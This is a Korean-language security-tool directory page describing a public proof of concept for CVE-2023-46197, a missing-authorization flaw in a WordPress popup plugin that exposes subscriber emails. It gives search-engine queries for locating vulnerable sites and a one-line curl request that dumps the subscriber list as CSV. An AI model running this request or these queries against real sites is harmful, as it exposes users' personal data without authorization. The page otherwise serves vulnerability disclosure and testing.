Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-46197 — Supsystic의 Popup <= 1.10.19 - 민감 정보 노출로 이어지는 인증 누락 | Kitploit
도구/GitHubGitHub/randomrobbiebf/cve-2023-46197
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubrandomrobbiebf/cve-2023-46197

CVE-2023-46197

Supsystic의 Popup <= 1.10.19 - 민감 정보 노출로 이어지는 인증 누락

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-46197

Supsystic의 팝업 <= 1.10.19 - 민감한 정보 노출에 대한 인증 부족

설명

"WordPress용 Supsystic 플러그인의 팝업은 1.10.19까지의 모든 버전에서 getWpCsvList 액션을 통해 민감한 정보 노출에 취약합니다. 이로 인해 구독자 수준 이상의 인증된 공격자가 구독자 이메일 주소를 포함한 민감한 데이터를 추출할 수 있습니다."

root@kitploit:~
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/f458663f-6b1a-4acd-b2db-c66d7a915ab7?source=api-prod
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2023-46197
  metadata:
    fofa-query: "wp-content/plugins/popup-by-supsystic/"
    google-query: inurl:"/wp-content/plugins/popup-by-supsystic/"
    shodan-query: 'vuln:CVE-2023-46197'
    slug: 'popup-by-supsystic'

개념 증명:

root@kitploit:~
curl "http://wordpress.lan/?mod=subscribe&action=getWpCsvList&pl=pps"

"Username";"Email";"Activated";"PopUp ID";"Date Created"
도구 다운로드